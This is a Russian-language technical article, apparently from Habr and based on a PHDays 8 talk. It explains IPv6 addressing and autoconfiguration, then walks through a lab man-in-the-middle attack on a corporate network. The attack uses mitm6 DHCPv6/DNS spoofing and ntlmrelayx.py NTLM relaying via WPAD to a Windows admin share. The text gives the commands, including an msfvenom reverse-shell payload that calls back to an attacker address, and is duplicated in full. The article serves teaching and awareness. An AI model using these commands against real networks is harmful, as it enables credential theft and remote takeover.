IPv6 — новая версия интернет протокола. Члены IETF приняли её всего 22 года назад, в 1996 году. За это время успели появиться специфичные для IPv6 атаки. Цель данной статьи, написанной по мотивам нашего выступления на PHDays 8 — показать возможности атаки в корпоративных сетях внутренним нарушителем, используя IPv4 и IPv6.
![](https://habrastorage.org/r/w1560/webt/ls/nb/b7/lsnbb7p7odub6aicoy6uylbvcak.png)
Длина адреса IPv6 составляет 128 бит, которые записываются в шестнадцатеричном формате c разделением всего адреса на 8 групп. Пример написания адреса IPv6:
2001:0a00:cafe:babe:0001:0000:0000:0011/64
Существует упрощенная запись адреса, когда несколько последующих групп нулей могут быть заменены на «::», но только один раз. Нули, записанные слева в каждой группе, могут быть отброшены. Значит, адрес выше можно записать в виде:
2001:a00:cafe:babe:1::11/64
Стандартный размер хостовой части, выдаваемый провайдером клиенту — 64 бита, из которых 4 используются для сегментирования сети на подсети.
![](https://habrastorage.org/r/w1560/webt/ae/0r/2b/ae0r2bmvkfpwm8bvbwdlui_560i.png)
В IPv6 существует несколько типов адресов:
![](https://habrastorage.org/r/w1560/webt/cr/e2/zz/cre2zzzair09k_qyg-ozm_olyno.png)
Глобальный юникаст (Global unicast) — это аналог публичных адресов в IPv4. Данные адреса выдаются IANA и уникальны в пределах всего интернета. Данные адреса находятся в диапазоне 2000::/3 (2000 – 3FFF).
Локальные адреса (Link-local) — адреса в диапазоне FE80::/10 (FE80 – FEBF), автоматически генерируются устройствами и используются для взаимодействия с другими устройствами в той же локальной сети. Трафик, содержащий в качестве отправителя или получателя данный адрес, не должен маршрутизироваться. Таким образом, устройство, имеющее поддержку IPv6 и подключённое к сети, сразу может обмениваться информацией в пределах своей подсети без какой-либо настройки.
Loopback-адрес ::1. Данный адрес аналогичен 127.0.0.1 в IPv4. Пакеты отправляемые на него не покидают пределы устройства.
Неопределённый адрес (Unspecified address) — адрес «::», состоящий из одних нулей. Используется в некоторых случаях в качестве отправителя до момента получения адреса.
Уникальные локальные адреса (Unique local) — аналог приватных адресов в IPv4, могут маршрутизироваться в пределах внутренней сети организации, без возможности маршрутизации в Интернет. Адресное пространство IPv6 настолько велико, что каждому человеку на планете можно выдать более триллиона адресов и они не закончатся. Поэтому IPv6 подразумевает отказ от приватных адресов в том смысле, в котором они использовались в IPv4 из-за нехватки публичных.
Адреса IPv4, отображённые в IPv6 (IPv4 embedded) — адреса IPv6 начинающиеся с ::ffff: последние 32 бита которых содержат IPv4 адрес(::ffff:xxxx:xxxx, где xxxx:xxxx — это IPv4 адрес, переведённый в шестнадцатеричный вид). Эти адреса используются для устройств, не поддерживающих IPv6 и обеспечивают способ отображения адресного пространства IPv4 в адресное пространство IPv6.
Мультикастовые адреса (Multicast) — одно из ключевых изменений в IPv6 по сравнению с IPv4. В новом протоколе отказались от широковещательных пакетов, вместо широковещательного адреса используются мультикаст адреса. Все эти адреса находятся в диапазоне FF00::/8
![](https://habrastorage.org/r/w1560/webt/gw/io/c6/gwioc6toxuatii_wzugt5yb3j2w.png)
Для получения адресной информации в IPv6 используется протокол ICMPv6 Neighbor Discovery Protocol (ND). Как показано на рисунке ниже, при появлении нового устройства в сети, работающей по IPv6, устройством посылается запрос на получение IPv6 адреса (Router Solicitation) на «ff02::2» (все маршрутизаторы сети). Маршрутизатор отвечает сообщением (Router Advertisement), содержащим информацию о том, как получить адрес IPv6. В зависимости от выставленных в сообщении флагов существует три способа:
SLAAC (Stateless Address Autoconfiguration) — В данном случая все необходимая для генерации глобального IPv6 адреса находится в RA сообщении.
SLAAC + DHCPv6 — Также как и в случае SLAAC адрес генерируется на основании информации в RA пакете, но дополнительно выставлен флаг O что значит Other configuration и устройству необходимо связаться с DHCPv6 сервером для получения дополнительных настроек например DNS сервера.
DHCPv6 — аналог DHCPv4 адрес и вся остальная информация выдается DHCP сервером, за исключением шлюза по умолчанию, который берется из адреса отправителя RA пакета.
При одновременно выставлении O и M флагов, флаг O игнорируется.
![](https://habrastorage.org/r/w780q1/webt/qx/nh/yw/qxnhywmpu6bpogmnss7c0emprpa.jpeg)
В качестве примера возьмем утилиту fake_router26 из набора утилит thc-ipv6. На изображении видно, что после запуска добавился IPv6 адрес шлюза по умолчанию, который стал приоритетнее IPv4.
![](https://habrastorage.org/r/w1560/webt/mr/qc/45/mrqc45-7fxz_clcr6affsl69i9e.png)
В данном сценарии мы рассмотрим возможность атаки типа «человек посередине», используя механизм получения сетевых настроек протокола IPv6.
Для демонстрации нам понадобится 4 машины:
Машина атакующего Kali Linux.
![](https://habrastorage.org/r/w1560/webt/2z/rj/2p/2zrj2parlezr5m5thp1abcskgxo.png)
Машина-сервер, на которой будут включены шары администратора Windows 7.
![](https://habrastorage.org/r/w1560/webt/tl/n3/qj/tln3qjafwp_zhancgxbpogpd5u4.png)
Машина-клиент, у которой будет доступ к серверу Windows 7.
![](https://habrastorage.org/r/w1560/webt/ob/vb/82/obvb82baad3u7bd4cmjlm-54atc.png)
Роутер с включенным DHCPv4.
dirkjanm описал методику данного сценария. Он написал утилиту mitm6, которая, используя ND протокол, отправляет сообщения Router Advertisment c установленными флагами «O» и «M» равными «1». Таким образом клиенты знают, что необходимо запрашивать адресную информацию у DHCPv6 сервера. Клиенты начинают отправлять DHCPv6 SOLICIT сообщения, для обнаружения DHCP сервера. Утилита отвечает на посылаемые запросы сообщениями DHCPv6 ADVERTISE; в ответе содержится адрес атакующей машины в качестве DNS-сервера.
![Запрос адресной информации, отправляемый на мультикаст-адрес всех DHCP-серверов ff02::1:2](https://habrastorage.org/r/w1560/webt/ze/if/di/zeifdiuqvmjxgmsakw5nz5dqqau.png)
После чего из-за архитектурных особенностей операционной системы DHCPv6 DNS становится приоритетным. Теперь атакующий может отвечать на любые DNS запросы нужным адресом. Таким образом запрос посланный по доменному имени будет направлен на усмотрение атакующего.
Запустив mitm6, можно указать домен, для которого подменять адреса DNS.
![](https://habrastorage.org/r/w1560/webt/cj/b5/mt/cjb5mthduecqu62-iig9ed9u24w.png)
![](https://habrastorage.org/r/w1560/webt/ox/bz/bu/oxbzbuxhk777trjsfvr4idkkgdw.png)
Для усиления драматического эффекта допустим, что в сети существует ещё одна машина, на которой пользователю первой машины разрешается подключаться к административным шарам. По умолчанию они выключены, но в интернете множество людей интересуется, как их включить, и очень радуются, когда у них это получается.
![](https://habrastorage.org/r/w780q1/webt/gi/yj/qt/giyjqt4gwprslmxgsgc_i2b_5_k.jpeg)
![](https://habrastorage.org/r/w1560/webt/d-/gg/mp/d-ggmpf_b9oztu5dfrotewmbw9o.png)
WPAD (Web Proxy Auto Discovery) — протокол для определения расположения файла, в котором находятся настройки прокси-сервера по умолчанию.
После обновления MS16-077 wpad больше не отдаётся через NETBIOS и не аутентифицируется автоматически на прокси сервере.
Для обхода данных ограничений можно использовать ntlmrelayx.py, входящий в состав impacket. Необходима версия выше 0.9.16, в которой включена поддержка IPv6 и возможность установки сервера, отдающего валидный wpad. Запуск производится командой
где 1.exe — reverse-shell-пейлоад, сгенерированный метасплойтом.
параметр -wh указывает на хост, где располагается wpad файл (утилита mitm6 ответит адресом атакующего на данный запрос)
![](https://habrastorage.org/r/w1560/webt/4e/ew/hh/4eewhhpvwjynispsnazoyftxtus.png)
![](https://habrastorage.org/r/w1560/webt/p1/it/aa/p1itaa9idtzcavemj45sgzsbeeq.png)
После подключения будет запрошена аутентификация HTTP 407 (Proxy Authentication Required), на который браузер автоматически аутентифицируется.
![](https://habrastorage.org/r/w1560/webt/fw/hn/qz/fwhnqzgqri-snconlo2sdpubcmc.png)
![](https://habrastorage.org/r/w1560/webt/f5/hf/1x/f5hf1xuyeourcueod8v70dqilsa.png)
Полученные данные будут использованы для подключения к smb атакуемого сервера, переданного через параметр -t.
![](https://habrastorage.org/r/w1560/webt/xa/hu/0e/xahu0errtgiiuzu9j_b1990pryq.png)
Благодарю моего соавтора Сергея Овчинникова malchikserega за помощь в подготовке выступления и статьи.
![](https://habrastorage.org/webt/ls/nb/b7/lsnbb7p7odub6aicoy6uylbvcak.png)
Основы адресации IPv6
Длина адреса IPv6 составляет 128 бит, которые записываются в шестнадцатеричном формате c разделением всего адреса на 8 групп. Пример написания адреса IPv6:
2001:0a00:cafe:babe:0001:0000:0000:0011/64
Существует упрощенная запись адреса, когда несколько последующих групп нулей могут быть заменены на «::», но только один раз. Нули, записанные слева в каждой группе, могут быть отброшены. Значит, адрес выше можно записать в виде:
2001:a00:cafe:babe:1::11/64
Стандартный размер хостовой части, выдаваемый провайдером клиенту — 64 бита, из которых 4 используются для сегментирования сети на подсети.
![](https://habrastorage.org/webt/ae/0r/2b/ae0r2bmvkfpwm8bvbwdlui_560i.png)
В IPv6 существует несколько типов адресов:
![](https://habrastorage.org/webt/cr/e2/zz/cre2zzzair09k_qyg-ozm_olyno.png)
Глобальный юникаст (Global unicast) — это аналог публичных адресов в IPv4. Данные адреса выдаются IANA и уникальны в пределах всего интернета. Данные адреса находятся в диапазоне 2000::/3 (2000 – 3FFF).
Локальные адреса (Link-local) — адреса в диапазоне FE80::/10 (FE80 – FEBF), автоматически генерируются устройствами и используются для взаимодействия с другими устройствами в той же локальной сети. Трафик, содержащий в качестве отправителя или получателя данный адрес, не должен маршрутизироваться. Таким образом, устройство, имеющее поддержку IPv6 и подключённое к сети, сразу может обмениваться информацией в пределах своей подсети без какой-либо настройки.
Loopback-адрес ::1. Данный адрес аналогичен 127.0.0.1 в IPv4. Пакеты отправляемые на него не покидают пределы устройства.
Неопределённый адрес (Unspecified address) — адрес «::», состоящий из одних нулей. Используется в некоторых случаях в качестве отправителя до момента получения адреса.
Уникальные локальные адреса (Unique local) — аналог приватных адресов в IPv4, могут маршрутизироваться в пределах внутренней сети организации, без возможности маршрутизации в Интернет. Адресное пространство IPv6 настолько велико, что каждому человеку на планете можно выдать более триллиона адресов и они не закончатся. Поэтому IPv6 подразумевает отказ от приватных адресов в том смысле, в котором они использовались в IPv4 из-за нехватки публичных.
Адреса IPv4, отображённые в IPv6 (IPv4 embedded) — адреса IPv6 начинающиеся с ::ffff: последние 32 бита которых содержат IPv4 адрес(::ffff:xxxx:xxxx, где xxxx:xxxx — это IPv4 адрес, переведённый в шестнадцатеричный вид). Эти адреса используются для устройств, не поддерживающих IPv6 и обеспечивают способ отображения адресного пространства IPv4 в адресное пространство IPv6.
Мультикастовые адреса (Multicast) — одно из ключевых изменений в IPv6 по сравнению с IPv4. В новом протоколе отказались от широковещательных пакетов, вместо широковещательного адреса используются мультикаст адреса. Все эти адреса находятся в диапазоне FF00::/8
![](https://habrastorage.org/webt/gw/io/c6/gwioc6toxuatii_wzugt5yb3j2w.png)
Назначение адреса в IPv6
Для получения адресной информации в IPv6 используется протокол ICMPv6 Neighbor Discovery Protocol (ND). Как показано на рисунке ниже, при появлении нового устройства в сети, работающей по IPv6, устройством посылается запрос на получение IPv6 адреса (Router Solicitation) на «ff02::2» (все маршрутизаторы сети). Маршрутизатор отвечает сообщением (Router Advertisement), содержащим информацию о том, как получить адрес IPv6. В зависимости от выставленных в сообщении флагов существует три способа:
Способ получения адреса | A(Auto) флаг | O(Other) флаг | M(Managed) флаг |
---|---|---|---|
SLAAC (по умолчанию) | 1 | 0 | 0 |
SLAAC + DHCPv6 | 1 | 1 | 0 |
DHCPv6 | 0 | - | 1 |
SLAAC (Stateless Address Autoconfiguration) — В данном случая все необходимая для генерации глобального IPv6 адреса находится в RA сообщении.
SLAAC + DHCPv6 — Также как и в случае SLAAC адрес генерируется на основании информации в RA пакете, но дополнительно выставлен флаг O что значит Other configuration и устройству необходимо связаться с DHCPv6 сервером для получения дополнительных настроек например DNS сервера.
DHCPv6 — аналог DHCPv4 адрес и вся остальная информация выдается DHCP сервером, за исключением шлюза по умолчанию, который берется из адреса отправителя RA пакета.
При одновременно выставлении O и M флагов, флаг O игнорируется.
![](https://habrastorage.org/webt/qx/nh/yw/qxnhywmpu6bpogmnss7c0emprpa.jpeg)
В качестве примера возьмем утилиту fake_router26 из набора утилит thc-ipv6. На изображении видно, что после запуска добавился IPv6 адрес шлюза по умолчанию, который стал приоритетнее IPv4.
![](https://habrastorage.org/webt/mr/qc/45/mrqc45-7fxz_clcr6affsl69i9e.png)
Атакуем!
В данном сценарии мы рассмотрим возможность атаки типа «человек посередине», используя механизм получения сетевых настроек протокола IPv6.
Для демонстрации нам понадобится 4 машины:
Машина атакующего Kali Linux.
![](https://habrastorage.org/webt/2z/rj/2p/2zrj2parlezr5m5thp1abcskgxo.png)
Машина-сервер, на которой будут включены шары администратора Windows 7.
![](https://habrastorage.org/webt/tl/n3/qj/tln3qjafwp_zhancgxbpogpd5u4.png)
Машина-клиент, у которой будет доступ к серверу Windows 7.
![](https://habrastorage.org/webt/ob/vb/82/obvb82baad3u7bd4cmjlm-54atc.png)
Роутер с включенным DHCPv4.
dirkjanm описал методику данного сценария. Он написал утилиту mitm6, которая, используя ND протокол, отправляет сообщения Router Advertisment c установленными флагами «O» и «M» равными «1». Таким образом клиенты знают, что необходимо запрашивать адресную информацию у DHCPv6 сервера. Клиенты начинают отправлять DHCPv6 SOLICIT сообщения, для обнаружения DHCP сервера. Утилита отвечает на посылаемые запросы сообщениями DHCPv6 ADVERTISE; в ответе содержится адрес атакующей машины в качестве DNS-сервера.
![Запрос адресной информации, отправляемый на мультикаст-адрес всех DHCP-серверов ff02::1:2](https://habrastorage.org/webt/ze/if/di/zeifdiuqvmjxgmsakw5nz5dqqau.png)
После чего из-за архитектурных особенностей операционной системы DHCPv6 DNS становится приоритетным. Теперь атакующий может отвечать на любые DNS запросы нужным адресом. Таким образом запрос посланный по доменному имени будет направлен на усмотрение атакующего.
Запустив mitm6, можно указать домен, для которого подменять адреса DNS.
![](https://habrastorage.org/webt/cj/b5/mt/cjb5mthduecqu62-iig9ed9u24w.png)
![](https://habrastorage.org/webt/ox/bz/bu/oxbzbuxhk777trjsfvr4idkkgdw.png)
Шары администратора
Для усиления драматического эффекта допустим, что в сети существует ещё одна машина, на которой пользователю первой машины разрешается подключаться к административным шарам. По умолчанию они выключены, но в интернете множество людей интересуется, как их включить, и очень радуются, когда у них это получается.
![](https://habrastorage.org/webt/gi/yj/qt/giyjqt4gwprslmxgsgc_i2b_5_k.jpeg)
![](https://habrastorage.org/webt/d-/gg/mp/d-ggmpf_b9oztu5dfrotewmbw9o.png)
WPAD (Web Proxy Auto Discovery) — протокол для определения расположения файла, в котором находятся настройки прокси-сервера по умолчанию.
После обновления MS16-077 wpad больше не отдаётся через NETBIOS и не аутентифицируется автоматически на прокси сервере.
Для обхода данных ограничений можно использовать ntlmrelayx.py, входящий в состав impacket. Необходима версия выше 0.9.16, в которой включена поддержка IPv6 и возможность установки сервера, отдающего валидный wpad. Запуск производится командой
ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe
где 1.exe — reverse-shell-пейлоад, сгенерированный метасплойтом.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe
параметр -wh указывает на хост, где располагается wpad файл (утилита mitm6 ответит адресом атакующего на данный запрос)
![](https://habrastorage.org/webt/4e/ew/hh/4eewhhpvwjynispsnazoyftxtus.png)
![](https://habrastorage.org/webt/p1/it/aa/p1itaa9idtzcavemj45sgzsbeeq.png)
После подключения будет запрошена аутентификация HTTP 407 (Proxy Authentication Required), на который браузер автоматически аутентифицируется.
![](https://habrastorage.org/webt/fw/hn/qz/fwhnqzgqri-snconlo2sdpubcmc.png)
![](https://habrastorage.org/webt/f5/hf/1x/f5hf1xuyeourcueod8v70dqilsa.png)
Полученные данные будут использованы для подключения к smb атакуемого сервера, переданного через параметр -t.
![](https://habrastorage.org/webt/xa/hu/0e/xahu0errtgiiuzu9j_b1990pryq.png)
Благодарю моего соавтора Сергея Овчинникова malchikserega за помощь в подготовке выступления и статьи.